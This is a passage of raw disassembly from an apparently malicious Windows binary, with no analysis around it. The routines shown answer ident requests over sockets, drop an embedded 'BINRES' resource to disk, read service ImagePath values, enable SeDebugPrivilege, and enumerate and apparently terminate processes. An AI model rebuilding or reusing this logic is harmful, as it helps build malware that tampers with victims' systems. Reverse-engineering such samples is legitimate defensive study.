		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 2821DE2h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		nop
		call	near ptr 28F0876h
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 28F0475h
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 28F0876h


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2871C1Eh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27903F8h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 2790BD1h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 27A0000h
		nop
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 27A046Ah
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
		dd 500D75C0h, 0F6E89056h, 0C6023700h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 283061Dh


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		call	near ptr 29301A3h
		nop
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28E0000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AD4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		call	near ptr 760976AFh
		nop
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23C0842h,	14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 29009A8h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		call	near ptr 29103E8h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 27901E5h
		nop
		push	eax
		call	near ptr 28C1591h
		nop
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	near ptr 2790238h
		nop
		push	eax
		call	near ptr 28C1B04h
		nop
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27C07F2h
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 2700000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 2790261h
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2871C1Eh
		nop
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27E08A3h
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
